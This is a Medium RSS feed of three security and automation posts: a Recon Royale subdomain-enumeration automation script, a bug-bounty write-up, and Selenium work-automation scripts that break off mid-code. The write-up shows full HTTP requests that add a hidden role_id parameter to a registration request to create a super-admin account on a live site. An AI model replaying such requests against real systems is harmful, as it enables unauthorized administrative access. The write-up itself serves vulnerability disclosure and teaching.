<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sarathlal Srl 🇮🇳 on Medium]]></title>
        <description><![CDATA[Stories by Sarathlal Srl 🇮🇳 on Medium]]></description>
        <link>https://medium.com/@srlsec?source=rss-998779be6fac------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*k5K5jplq4PW-2DTsNDKxmQ.jpeg</url>
            <title>Stories by Sarathlal Srl 🇮🇳 on Medium</title>
            <link>https://medium.com/@srlsec?source=rss-998779be6fac------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 12:36:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@srlsec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[My Journey to Becoming Recon Royale King ]]></title>
            <link>https://srlsec.medium.com/my-journey-to-becoming-recon-royale-king-47a0b71d08df?source=rss-998779be6fac------2</link>
            <guid isPermaLink="false">https://medium.com/p/47a0b71d08df</guid>
            <dc:creator><![CDATA[Sarathlal Srl ]]></dc:creator>
            <pubDate>Thu, 18 Sep 2025 02:50:24 GMT</pubDate>
            <atom:updated>2025-09-18T03:33:15.024Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X-HXzj4WrII9sjG2txCx_Q.png" /><figcaption><a href="https://recon-royale.com/">https://recon-royale.com/</a></figcaption></figure><p><strong>Introduction: A New Kind of Battlefield </strong><br>Have you ever looked at a leaderboard and thought, “I could be number one”? I did. But this wasn’t a leaderboard for a typical game; it was for <a href="https://recon-royale.com/">Recon Royale</a>, a competitive platform where cybersecurity meets treasure hunting. Your mission: find as many valid subdomains for a target domain as possible.</p><p>This is the story of how I combined meticulous reconnaissance, strategic automation, and a never-give-up attitude to not only win a single round but to learn how to dominate the competition consistently. Let’s dive in.</p><h4>What is Recon Royale? The Rules of Engagement</h4><p>Before the hunt, you must understand the terrain. Recon Royale turns the critical cybersecurity skill of enumeration into a thrilling daily competition.</p><p>The Goal: Find and submit unique, valid subdomains (like api.target.com, dev.target.com) for a specified target domain. Before submission, every subdomain must be validated. For this, I highly recommend using my open-source tool:</p><pre>https://github.com/srlsec/truesub</pre><p>The Scoring: Each valid, unique submission earns you points. Duplicates or errors get you nothing.</p><p>The Rhythm: Each round lasts for 24 hours, ending sharply at 3:30 AM IST. The top player for that round is awarded a crown 👑, the target changes, and a new round begins immediately.🔄</p><p>The Ultimate Prize: Becoming King. The overall King of Recon Royale isn’t just the winner of one round; it’s the player who has accumulated the most crowns. If there’s already a King, you can overtake them by gaining just one more crown than they have. 🔥</p><h4>My Scoreboard: Tracking the Journey to 78 Wins</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*Rt2-Y59xQYXCkhsDibqwYg.png" /></figure><p>I started my Recon Royale journey in February 2025. My first experiments were modest, relying on the basic toolkit every beginner uses:</p><ul><li>Subfinder</li><li>Findomain</li><li>Sublist3r</li><li>Amass</li></ul><p>These tools provided a crucial baseline and got me on the board with 2 wins that first month. However, I learned that common tools lead to common results. Securing the top spot demanded a custom approach and a significant advantage.</p><p>I transformed my process from simple automation to a meticulous, multi-layered reconnaissance operation. I scoured X (Twitter) and Google for advanced guides and blogs, where the shared wisdom of other seasoned researchers proved invaluable. This research, combined with relentless practice, honed my skills to achieve 19 victories last month alone, bringing my total to 78.</p><p><em>(I will post a detailed guide on my deep subdomain enumeration process in a separate write-up — follow me to ensure you don’t miss it.)</em></p><h4>Architecting the Empire: Automating with the API</h4><p>The key to consistent wins is eliminating manual steps. The Recon Royale API was my gateway to efficiency. Here’s how you can use it too.</p><p>Step 1: Get Your Royal Seal (API Key)</p><ol><li>Log in to your Recon Royale account.</li><li>Find and click the “Generate API Key” button.</li></ol><p>Step 2: Understand the API Command</p><pre>https://recon-royale.com/api/current-target-via-apikey<br>https://recon-royale.com/api/leaderboard<br>https://recon-royale.com/api/submit-via-apikey</pre><p>This Python script automates the Submission of subdomains. It checks the current target domain, compares your found subdomains against the leader’s score, and strategically submits your results only if you can take first place. It sends Discord notifications with your status and alerts.</p><pre><br>import time<br>import os<br>import requests<br><br><br>API_KEY = &quot;[API_KEY]&quot;<br>RECON_API_URL = &quot;https://recon-royale.com/api/submit-via-apikey&quot;<br>BASE_DIR = os.path.expanduser(&quot;~/RECON-ROYALE/domains&quot;)<br><br>def send_discord_notification(message):<br>    WEBHOOK_URL = &#39;https://discord.com/api/webhooks/1390341981043XX/ivDWiouroLyzYshR-gFudkjfdfxxxx&#39;<br>    data = {<br>        &quot;content&quot;: message<br>    }<br>    response = requests.post(WEBHOOK_URL, json=data)<br>    <br>    if response.status_code == 204:<br>        print(&quot;✅ Notification sent successfully.&quot;)<br>    else:<br>        print(f&quot;❌ Failed to send notification. Status Code: {response.status_code}&quot;)<br><br>def fetch_leaderboard():<br>    url = &quot;https://recon-royale.com/api/leaderboard&quot;<br>    response = requests.get(url)<br><br>    if response.status_code == 200:<br>        data = response.json()<br>        leaderboard = data.get(&quot;leaderboard&quot;, [])<br>        <br>        if leaderboard:<br>            rank_1_user = leaderboard[0]  # First entry is rank 1<br>            points = rank_1_user.get(&quot;points&quot;)<br>            username = rank_1_user.get(&quot;twitter_handle&quot;, &quot;N/A&quot;)<br>            <br>            print(f&quot;Rank 1 User: {username}&quot;)<br>            print(f&quot;Points: {points}&quot;)<br>        else:<br>            print(&quot;No users found on the leaderboard.&quot;)<br>    else:<br>        print(f&quot;Error: HTTP {response.status_code}&quot;)<br><br>    return points<br><br>def get_rr_target():<br>    url = &quot;https://recon-royale.com/api/current-target-via-apikey&quot;<br>    headers = {<br>        &quot;X-API-Key&quot;: API_KEY<br>    }<br><br>    try:<br>        response = requests.get(url, headers=headers)<br>        response.raise_for_status()<br>        return response.json().get(&quot;domain&quot;)<br>    except requests.RequestException as e:<br>        print(&quot;[!] Failed to fetch current target from Recon Royale:&quot;, e)<br>        return None<br><br><br>def my_point():<br>    target = get_rr_target()<br>    if not target:<br>        return 0<br><br>    subdomain_file = os.path.expanduser(f&#39;~/RECON-ROYALE/domains/{target}/{target}_current_valid.txt&#39;)<br><br>    if not os.path.isfile(subdomain_file):<br>        print(f&quot;[!] Subdomain file not found: {subdomain_file}&quot;)<br>        return 0<br><br>    with open(subdomain_file, &#39;r&#39;) as f:<br>        return len([line.strip() for line in f if line.strip()])<br><br>def rr_upload(subdomain_file):<br>    # Get target domain from `rr` command<br>    target = get_rr_target()<br>    print(f&quot;[+] Target: {target}&quot;)<br><br>    # Check if file exists<br>    if not os.path.isfile(subdomain_file):<br>        print(f&quot;[!] Subdomain file not found: {subdomain_file}&quot;)<br>        return<br><br>    # Read and count subdomains<br>    with open(subdomain_file, &quot;r&quot;) as f:<br>        subdomains = [line.strip() for line in f if line.strip()]<br>    print(f&quot;[+] Total valid subdomains: {len(subdomains)}&quot;)<br><br>    # Prepare payload and send<br>    payload = {&quot;subdomains&quot;: subdomains}<br>    headers = {<br>        &quot;Content-Type&quot;: &quot;application/json&quot;,<br>        &quot;X-API-Key&quot;: API_KEY<br>    }<br>    response = requests.post(&quot;https://recon-royale.com/api/submit-via-apikey&quot;, headers=headers, json=payload)<br><br>    if response.status_code == 202:<br>        print(f&quot;[✔] Uploaded {len(subdomains)} subdomains of {target} to Recon Royale&quot;)<br>        send_discord_notification(f&quot;[✔] Uploaded {len(subdomains)} subdomains of {target} to Recon Royale&quot;)<br>    elif response.status_code == 403:<br>        print(&quot;[✘] Upload failed: You have already submitted for this round&quot;)<br>        send_discord_notification(f&quot;[✘] Upload failed: You have already submitted for {target}&quot;)<br>    else:<br>        print(f&quot;[✘] Upload failed. Status: {response.status_code}, Response: {response.text}&quot;)<br>        send_discord_notification(f&quot;[✘] Upload failed :  {response.text}&quot;)<br><br><br>def main():<br>    target = get_rr_target()<br>    <br>    try: <br>        leaderboard = fetch_leaderboard()<br>        if leaderboard == &quot;No participants yet&quot;:<br>            subdomain_file = os.path.expanduser(f&quot;~/RECON-ROYALE/domains/{target}/{target}_current_valid.txt&quot;)<br>            rr_upload(subdomain_file)<br><br>        else:<br>            print(&quot;\nTop Recon Royale Hackers:\n&quot;)<br><br>            my_points = my_point()<br>            print(f&quot;\n[✔] Your current valid subdomains: {my_points}&quot;)<br><br>            if leaderboard:<br>                top_score = fetch_leaderboard()<br>                print(f&quot;[ℹ️] Current top scorer has: {top_score} pts&quot;)<br>                if my_points &gt; top_score:<br>                    print(&quot;[🎉] You’re at the top&quot;)<br><br>                    subdomain_file = os.path.expanduser(f&quot;~/RECON-ROYALE/domains/{target}/{target}_current_valid.txt&quot;)<br>                    rr_upload(subdomain_file)<br>                        <br>                else:<br>                    print(f&quot;[↗] You need {(top_score + 1) - my_points} more subdomains to reach the top.&quot;)<br>                    send_discord_notification(f&quot;🚨 Alert: You need {(top_score + 1) - my_points} more subdomains to reach the top in {target} challenge&quot;)<br>    <br>    except:<br>        subdomain_file = os.path.expanduser(f&quot;~/RECON-ROYALE/domains/{target}/{target}_current_valid.txt&quot;)<br>        rr_upload(subdomain_file)<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>Automation and strategy are meaningless without measurement. To truly understand my progress, track my victories, and analyze the competition, I built a comprehensive dashboard. This isn’t just a list; it’s the central command center for my Recon Royale campaign.</p><h4>Cron Job Strategy</h4><p>Automation isn’t just about one script; it’s about creating a system that works while you sleep. The true endgame is scheduling your tools to run at optimal times, ensuring a steady stream of submissions throughout the round.</p><p>Here is a look at the cron job that powers my automated Recon Royale empire. This is the conductor of the orchestra, making sure every script plays its part at the right time.</p><pre># Recon Royale Automation Scheduler<br># --------------------------------<br># Min Hour | Command<br># --------------------------------<br># Subdomain enum<br>0 5 * * * python3 ~/my-tools/autoroyale/rr-subdomain_enum.py &gt;&gt; ~/logs/recon-royale/rr-subdomain_enum.log 2&gt;&amp;1<br><br># Main automated upload process for the day&#39;s findings<br>25 3 * * * python3 ~/my-tools/autoroyale/rr-auto-upload.py &gt;&gt; ~/logs/recon-royale/rr-auto-upload.log 2&gt;&amp;1<br><br># Get a notification of the round&#39;s results<br>0 4 * * * python3 ~/my-tools/autoroyale/rr-notifier.py &gt;&gt; ~/logs/recon-royale/rr-notifier.log 2&gt;&amp;1</pre><h4>The Strategy for Long-Term Reign</h4><p>Automation gets you speed, but strategy wins you the war. Here’s how I plan to stay on top:</p><ul><li>Consistency is Key: You don’t need to win every day. Aim for a high placement every day to steadily accumulate crowns.</li><li>Know Thy Enemy: Keep an eye on the overall leaderboard. How many crowns does the King have? What’s your target? This informs how aggressively you need to play.</li><li>Adapt and Learn: Each new target domain is different. Some will have thousands of subdomains; others will be a hardened fortress requiring clever techniques.</li></ul><h4>Acknowledgements</h4><p>This journey wouldn’t have been the same without the amazing Recon Royale competitive platform. A special thanks to:</p><ul><li>Thanks to <a href="https://twitter.com/pxmme1337">@pxmme1337</a> for creating Recon Royale and providing this amazing opportunity to test and sharpen our skills in such a fun, competitive environment. 🚀</li><li>Thanks to <a href="https://twitter.com/hasan_zmzm">@hasan_zmzm</a> for his support and guidance on subdomain enumeration.</li></ul><p>My journey to winning a crown on Recon Royale was a fantastic deep dive into practical cybersecurity skills. It honed my reconnaissance abilities, taught me subdomain enumeration, and provided the thrill of competition.</p><p>Thanks for reading. Do clap and share if you like.</p><p><em>X :</em> <a href="https://twitter.com/srlsec_">https://x.com/srlsec_</a></p><p>Instagram: <a href="https://www.instagram.com/srlsec/#">https://www.instagram.com/srlsec/</a></p><p><em>Youtube:</em> <a href="https://www.youtube.com/@srlsec">www.youtube.com/@srlsec</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=47a0b71d08df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing Admin Panel via Unprotected Registration Endpoint]]></title>
            <link>https://srlsec.medium.com/bypassing-admin-panel-via-unprotected-registration-endpoint-46816c071f6e?source=rss-998779be6fac------2</link>
            <guid isPermaLink="false">https://medium.com/p/46816c071f6e</guid>
            <category><![CDATA[login-bypass]]></category>
            <dc:creator><![CDATA[Sarathlal Srl ]]></dc:creator>
            <pubDate>Sun, 16 Feb 2025 18:24:29 GMT</pubDate>
            <atom:updated>2025-02-20T03:08:03.303Z</atom:updated>
            <content:encoded><![CDATA[<p>During one of my routine bug-hunting sessions, I encountered a website with a visible login page but no registration option. Out of curiosity, I explored the site’s behavior and discovered a critical vulnerability that allowed me to register a <strong>super admin account</strong> by adding a parameter to the request. This simple exploit led to a <strong>complete compromise of the admin panel.</strong></p><h4>Step 1: Discovery - Guessing the Registration Endpoint</h4><p>I noticed the website had a login page but no visible registration page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ak3Txj4r4mxqJJSRKfJzzQ.jpeg" /></figure><p>I guessed and visited /register by changing the URL path from /login to /register.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Z8uyogYg65UqR0fpLbD9g.jpeg" /></figure><p>Then completed the form and clicked the Register button, but unexpectedly, the registration page prompted me to input a role ID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NQw3PFVBGUvKQPTNMbIBzQ.jpeg" /></figure><h4>Step 2: Manipulating the Registration Request with Burp Suite</h4><p>Using Burp Suite, I intercepted the registration request and observed the following:</p><pre>POST /register HTTP/1.1<br>Host: target.com<br>Content-Type: application/json<br><br>{<br>  &quot;name&quot;: &quot;socine&quot;,<br>  &quot;cug_number&quot;: 1<br>  &quot;email&quot;: &quot;socine6642@prorsd.com&quot;,<br>  &quot;password&quot;: &quot;Password123&quot;,<br>  &quot;password_confirmation&quot;: &quot;Password123&quot;<br>}</pre><p>The server responded with:<br><strong>“role id field is required”</strong></p><p>This confirmed that the backend expected a role_id value, even though it wasn’t displayed on the registration form. I added the role_id parameter manually. Based on standard role structures, role_id = 1.</p><pre>POST /register HTTP/1.1<br>Host: target.com<br>Content-Type: application/json<br><br>{<br>  &quot;name&quot;: &quot;socine&quot;,<br>  &quot;cug_number&quot;: 1<br>  &quot;email&quot;: &quot;socine6642@prorsd.com&quot;,<br>  &quot;password&quot;: &quot;Password123&quot;,<br>  &quot;password_confirmation&quot;: &quot;Password123&quot;<br>  &quot;role_id&quot;: 1<br>}</pre><p>The server redirected me to the homepage without any error or confirmation message. This was suspicious but promising.</p><h4>Step 3: Verification — Confirming Account Creation &amp; Logging In</h4><p>I returned to the /register page and tried to register again with the same email. This time, the server responded with:</p><blockquote><strong><em>“The email has already been taken”</em></strong></blockquote><p>This confirmed that the account was successfully created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*veWgRD0YTq2ASwxsbnpMlg.png" /></figure><p>Then I visited the login page and entered the newly created credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wjliVgx6TNOZSm-KRIxYhA.png" /></figure><p><strong>BOOM 💥 — Logged in as a SUPER ADMIN!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b-8EdK8ieUaaEeNrlhKFYg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pObTb6_Kairvm9CT5_JoWw.png" /></figure><p>Now I had full access to the admin panel.</p><p><em>X :</em> <a href="https://twitter.com/srlsec_">https://x.com/srlsec_</a></p><p>Instagram: <a href="https://www.instagram.com/srlsec/#">https://www.instagram.com/srlsec/#</a></p><p><em>Youtube:</em> <a href="https://www.youtube.com/@srlsec">www.youtube.com/@srlsec</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=46816c071f6e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Python Saves My Time: Automating Repetitive Tasks in Everyday Work]]></title>
            <link>https://srlsec.medium.com/how-python-saves-my-time-automating-repetitive-tasks-in-everyday-work-538a1ed5e48e?source=rss-998779be6fac------2</link>
            <guid isPermaLink="false">https://medium.com/p/538a1ed5e48e</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[python-automation]]></category>
            <category><![CDATA[python-programming]]></category>
            <category><![CDATA[network-automation]]></category>
            <category><![CDATA[web-scraping]]></category>
            <dc:creator><![CDATA[Sarathlal Srl ]]></dc:creator>
            <pubDate>Thu, 28 Nov 2024 04:09:36 GMT</pubDate>
            <atom:updated>2024-11-28T04:09:36.583Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KwgbuzoIwXJTVHUjrnpVpA.jpeg" /></figure><p>Hello friends,</p><p>Today, I have a new and different topic to discuss: Python programming. I am currently working as a Network engineer in ISP and part-time I do bug hunting, Python saves me a lot of time because I have repetitive daily tasks that can be tedious and time-consuming. I am sure there have been plenty of times when you wished for a simpler way to approach and accomplish a mundane task. Repetitive tasks can be a drag and hamper your creativity and productivity in other areas of your work and life.</p><h3>Why I Choose Python for Automation</h3><p>Python is a popular programming language choice among software developers because of its easy-to-understand syntax. Python code mirrors the English language a lot more closely than many other programming languages. Additionally, Python code tends to be more compact and requires fewer lines of code than other languages to accomplish the same tasks. Another important feature of Python is its use in multiple fields, such as network automation and web scraping.</p><p><strong>1. Internet Speed tester</strong></p><p>As mentioned above, I work for an ISP, so I must check the speed test every morning. This script&#39;s primary purpose is to automate internet speed tests for multiple internet service providers (ISPs) and save the results to a CSV file for analysis.</p><pre>from selenium import webdriver<br>from selenium.webdriver.chrome.options import Options<br>from selenium.webdriver import Chrome, ChromeOptions<br>from selenium.webdriver.common.keys import Keys<br>from selenium.webdriver.chrome.service import Service<br>import time<br>import urllib.parse<br>import pandas as pd<br>import warnings<br>import platform<br>import requests<br><br># Determine if the OS is Windows or Linux<br>os_type = platform.system()<br><br><br>warnings.filterwarnings(&#39;ignore&#39;)<br><br>chrome_options = Options()<br>chrome_options.add_argument(&quot;--log-level=3&quot;) <br>chrome_options.add_argument(&quot;--start-maximized&quot;)<br>chrome_options.add_argument(&quot;--ignore-certificate-errors-spki-list&quot;)<br><br>if os_type == &quot;Windows&quot;:<br>    service = Service(executable_path=&#39;C:/chromedriver/chromedriver.exe&#39;)<br>elif os_type == &quot;Linux&quot;:<br>    service = Service(executable_path=&#39;/usr/local/bin/chromedriver&#39;)<br>    <br>chrome_options.add_argument(&quot;--ignore-certificate-errors-spki-list&quot;)<br>browser = webdriver.Chrome(service=service, options=chrome_options)<br><br><br><br>airtel_server = &#39;Bharti Airtel Ltd&#39;<br>youfiber_server = &#39;YouFibre&#39;<br>kvbl_server = &#39;Keralavision Broadband Ltd&#39;<br><br>tablelist = []<br><br>def speed_test(server,connection_type):<br>    # Open website<br>    browser.get(&#39;https://www.speedtest.net/&#39;)<br>    browser.maximize_window()<br>    time.sleep(5)<br><br>    # Connection type(single/multi)<br>    # Multi<br>    if connection_type == &#39;multi&#39;:<br>        browser.find_element(&#39;xpath&#39;,&quot;/html/body/div[3]/div/div[3]/div/div/div/div[2]/div[3]/div[3]/div/div[5]/div/div/a[1]&quot;).click()<br>    # Signal<br>    if connection_type == &#39;single&#39;:<br>        browser.find_element(&#39;xpath&#39;,&quot;/html/body/div[3]/div/div[3]/div/div/div/div[2]/div[3]/div[3]/div/div[5]/div/div/a[3]&quot;).click()<br><br>    # Select server<br>    browser.find_element(&#39;xpath&#39;,&quot;/html/body/div[3]/div/div[3]/div/div/div/div[2]/div[3]/div[3]/div/div[4]/div/div[3]/div/div/div[4]/a&quot;).click()<br>    username_input = browser.find_element(&quot;xpath&quot;,&quot;/html/body/div[3]/div/div[3]/div/div/div/div[2]/div[3]/div[3]/div/div[7]/div/div/div/div[3]/form/div/input&quot;)<br>    username_input.send_keys(server)<br>    time.sleep(2)<br><br>    if server == &#39;Keralavision Broadband Ltd&#39;:<br>        try:<br>            browser.find_element(&#39;xpath&#39;,&quot;/html/body/div[3]/div/div[3]/div/div/div/div[2]/div[3]/div[3]/div/div[7]/div/div/div/div[3]/div/div/ul/li[2]/a&quot;).click()<br>        except:<br>            browser.find_element(&#39;xpath&#39;,&quot;/html/body/div[3]/div/div[3]/div/div/div/div[2]/div[3]/div[3]/div/div[7]/div/div/div/div[3]/div/div/ul/li[1]/a&quot;).click()<br>        time.sleep(2)<br>    else:<br>        browser.find_element(&#39;xpath&#39;,&quot;/html/body/div[3]/div/div[3]/div/div/div/div[2]/div[3]/div[3]/div/div[7]/div/div/div/div[3]/div/div/ul/li[1]/a&quot;).click()<br>        time.sleep(2)<br><br>    # Click go button to start speed test<br>    browser.find_element(&#39;xpath&#39;,&quot;/html/body/div[3]/div/div[3]/div/div/div/div[2]/div[3]/div[1]/a/span[4]&quot;).click()<br>    time.sleep(50)<br><br>    # Get Download and Upload speed from page<br>    download_speed = browser.find_element(&#39;class name&#39;,&#39;download-speed&#39;).text<br>    upload_speed = browser.find_element(&#39;class name&#39;,&#39;upload-speed&#39;).text<br>    time.sleep(1)<br><br>    print(download_speed)<br>    print(upload_speed)<br><br><br><br>    return download_speed, upload_speed<br><br><br>def get_public_ip():<br>    response = requests.get(&#39;https://httpbin.org/ip&#39;)<br>    if response.status_code == 200:<br>        return response.json().get(&#39;origin&#39;)<br>    return None<br><br><br>public_ip = get_public_ip()<br>if public_ip:<br>    print(f&quot;Your public IP is: {public_ip}&quot;)<br>else:<br>    print(&quot;Could not retrieve public IP&quot;)<br><br>kvbl_multi_download, kvbl_multi_upload = speed_test(kvbl_server,connection_type=&#39;multi&#39;)<br>kvbl_single_download, kvbl_single_upload = speed_test(kvbl_server,connection_type=&#39;single&#39;)<br><br>data = {<br>                    &quot;mutil_download&quot;: f&#39;{kvbl_multi_download} Mbps&#39;,<br>                    &quot;mutil_upload&quot;: f&#39;{kvbl_multi_upload} Mbps&#39;,<br>                    &quot;single_download&quot;: f&#39;{kvbl_single_download} Mbps&#39;,<br>                    &quot;single_upload&quot;: f&#39;{kvbl_single_upload} Mbps&#39;,<br>                }<br><br>tablelist.append(data)<br><br>airtel_multi_download, airtel_multi_upload = speed_test(airtel_server,connection_type=&#39;multi&#39;)<br>airtel_single_download, airtel_single_upload = speed_test(airtel_server,connection_type=&#39;single&#39;)<br><br><br>data = {<br>                    &quot;mutil_download&quot;: f&#39;{airtel_multi_download} Mbps&#39;,<br>                    &quot;mutil_upload&quot;: f&#39;{airtel_multi_upload} Mbps&#39;,<br>                    &quot;single_download&quot;: f&#39;{airtel_single_download} Mbps&#39;,<br>                    &quot;single_upload&quot;: f&#39;{airtel_single_upload} Mbps&#39;,<br>                }<br><br>tablelist.append(data)<br><br>youfiber_multi_download, youfiber_multi_upload = speed_test(youfiber_server,connection_type=&#39;multi&#39;)<br>youfiber_single_download, youfiber_single_upload = speed_test(youfiber_server,connection_type=&#39;single&#39;)<br><br>data = {<br>                    &quot;mutil_download&quot;: f&#39;{youfiber_multi_download} Mbps&#39;,<br>                    &quot;mutil_upload&quot;: f&#39;{youfiber_multi_upload} Mbps&#39;,<br>                    &quot;single_download&quot;: f&#39;{youfiber_single_download} Mbps&#39;,<br>                    &quot;single_upload&quot;: f&#39;{youfiber_single_upload} Mbps&#39;,<br>                }<br><br><br>    <br>tablelist.append(data)<br><br>df = pd.DataFrame(tablelist)<br>df.to_csv(f&#39;output.csv&#39;)</pre><p><strong>2. Ticket creator</strong></p><p>I create around 30 tickets daily and submit work reports. On average, it takes 45 minutes to complete this task manually. This is the most time-consuming and boring part of my work. This Python script automates the process of creating customer tickets and scraping their details from a web application using Selenium for browser automation and openpyxl for Excel file manipulation.</p><pre>from selenium import webdriver<br>from selenium.webdriver.chrome.options import Options<br>from selenium.webdriver.chrome.service import Service<br>import time<br>import pandas as pd<br>import warnings<br>import json<br>from openpyxl import Workbook, load_workbook<br>import time<br>from datetime import datetime<br>import sys<br>import platform, os<br><br># Determine if the OS is Windows or Linux<br>os_type = platform.system()<br><br>warnings.filterwarnings(&#39;ignore&#39;)<br><br>chrome_options = Options()<br>chrome_options.add_argument(&quot;--log-level=3&quot;) <br>chrome_options.add_argument(&quot;--start-maximized&quot;)<br><br>#chrome_options.add_argument(&quot;--headless&quot;)<br>if os_type == &quot;Windows&quot;:<br>    service = Service(executable_path=&#39;C:/chromedriver/chromedriver.exe&#39;)<br>elif os_type == &quot;Linux&quot;:<br>    service = Service(executable_path=&#39;/usr/local/bin/chromedriver&#39;)<br><br>chrome_options.add_argument(&quot;--ignore-certificate-errors-spki-list&quot;)<br>browser = webdriver.Chrome(service=service, options=chrome_options)<br><br>user = &#39;username&#39;<br>pwd =  &#39;password&#39;<br><br>def login():<br>    browser.get(&#39;https://redacted.com/staff/engineer/login&#39;)<br>    browser.find_element(&#39;name&#39;,&#39;email&#39;).send_keys(user)<br>    browser.find_element(&#39;name&#39;,&#39;password&#39;).send_keys(pwd)<br>    browser.find_element(&#39;class name&#39;,&#39;btn-login&#39;).click()<br><br>    time.sleep(2)<br>    print(&quot;\n============================== Login Success ==============================\n&quot;)<br><br><br>def customer_ticket_create(user_id,issue_category,issue_type,description,ticket_priority,ticket_status,ticket_cause):<br>    browser.get(&#39;https://redacted.com/create-ticket&#39;)<br><br>    try:<br>        browser.find_element(&quot;xpath&quot;,f&quot;//*[@id=&#39;select2-ticket_for-container&#39;]&quot;).click()<br>        issue = browser.find_element(&quot;xpath&quot;,&quot;//*[@class=&#39;select2-search__field&#39;]&quot;)<br>        issue.send_keys(&quot;Customer&quot;)<br>        browser.find_element(&quot;xpath&quot;,f&quot;//ul[@id=&#39;select2-ticket_for-results&#39;]/li[text()=&#39;Customer&#39;]&quot;).click()<br>        browser.find_element(&quot;xpath&quot;,&#39;//*[@id=&quot;azTab1&quot;]/div/div/div/div/div/div/div/div[3]/div/div/button&#39;).click()<br>        time.sleep(4)<br>        browser.find_element(&quot;xpath&quot;,f&quot;//select[@name=&#39;issue_category&#39;]/option[text()=&#39;{issue_category}&#39;]&quot;).click()<br>        time.sleep(4)<br>        username_input = browser.find_element(&quot;xpath&quot;,&quot;//*[@id=&#39;existing_customer_container&#39;]/div/div[1]/div/input&quot;)<br>        username_input.send_keys(user_id)<br>        browser.find_element(&quot;xpath&quot;,&quot;//*[@id=&#39;existing_customer_container&#39;]/div/div[2]/button&quot;).click()<br>        time.sleep(7)<br>        browser.find_element(&quot;xpath&quot;,f&quot;//*[@id=&#39;select2-issue_type-container&#39;]&quot;).click()<br>        time.sleep(3)<br>        issue = browser.find_element(&quot;xpath&quot;,&quot;//*[@class=&#39;select2-search__field&#39;]&quot;)<br>        issue.send_keys(issue_type)<br>        time.sleep(3)<br>        browser.find_element(&quot;xpath&quot;,f&quot;//ul[@id=&#39;select2-issue_type-results&#39;]/li[text()=&#39;{issue_type}&#39;]&quot;).click()<br>        time.sleep(2)<br>        browser.find_element(&quot;xpath&quot;,f&quot;//*[@id=&#39;select2-team_id-container&#39;]&quot;).click()<br>        time.sleep(2)<br>        issue = browser.find_element(&quot;xpath&quot;,&quot;//*[@class=&#39;select2-search__field&#39;]&quot;)<br>        issue.send_keys(&quot;TEAM_FOP KERALA&quot;)<br>        time.sleep(1)<br>        browser.find_element(&quot;xpath&quot;,f&quot;//ul[@id=&#39;select2-team_id-results&#39;]/li[text()=&#39;TEAM_FOP KERALA&#39;]&quot;).click()<br>        username_input = browser.find_element(&quot;xpath&quot;,&quot;//*[@id=&#39;text_area&#39;]&quot;)<br>        username_input.send_keys(description)<br>        time.sleep(2)<br>        browser.find_element(&quot;xpath&quot;,f&quot;//*[@name=&#39;ticket_status&#39;]/option[text()=&#39;{ticket_status}&#39;]&quot;).click()<br>        time.sleep(2)<br>        <br>        try:<br>            browser.find_element(&quot;xpath&quot;,f&quot;//*[@id=&#39;select2-close_cause_id-container&#39;]&quot;).click()<br>            time.sleep(2)<br>            issue = browser.find_element(&quot;xpath&quot;,&quot;//*[@class=&#39;select2-search__field&#39;]&quot;)<br>            issue.send_keys(f&quot;{ticket_cause}&quot;)<br>            time.sleep(1)<br>            browser.find_element(&quot;xpath&quot;,f&quot;//ul[@id=&#39;select2-close_cause_id-results&#39;]/li[text()=&#39;{ticket_cause}&#39;]&quot;).click()<br>            time.sleep(2)<br>        except:<br>            print(&quot;Error in Ticket close cause&quot;)<br><br>        browser.find_element(&quot;xpath&quot;,&quot;//button[contains(@class, &#39;btn-primary&#39;) and text()=&#39;Submit&#39;]&quot;).click()<br>        <br>        time.sleep(3)<br><br>        button = browser.find_element(&#39;class name&#39;, &#39;btn.btn-success&#39;)<br>        ticket_link = button.get_attribute(&#39;href&#39;)<br><br>    except:<br>        ticket_link = &#39;not_created&#39;<br><br>    return ticket_link<br><br>def ticket_scraper(ticket_link):<br>    browser.get(ticket_link)<br>    time.sleep(5)<br><br><br>     description = browser.find_element(&#39;xpath&#39;,&#39;/html/body/div[4]/div[1]/div/div[2]/div/div[2]/div/div[1]/div[2]/div/div[1]/div[2]/div/div[1]/div[2]/p&#39;).text<br>     uname = browser.find_element(&#39;xpath&#39;,&#39;/html/body/div[4]/div[1]/div/div[2]/div/div[2]/div/div[1]/div[2]/div/div[1]/div[1]/div[2]/div/div/p[1]/a&#39;).text<br>     created_date = 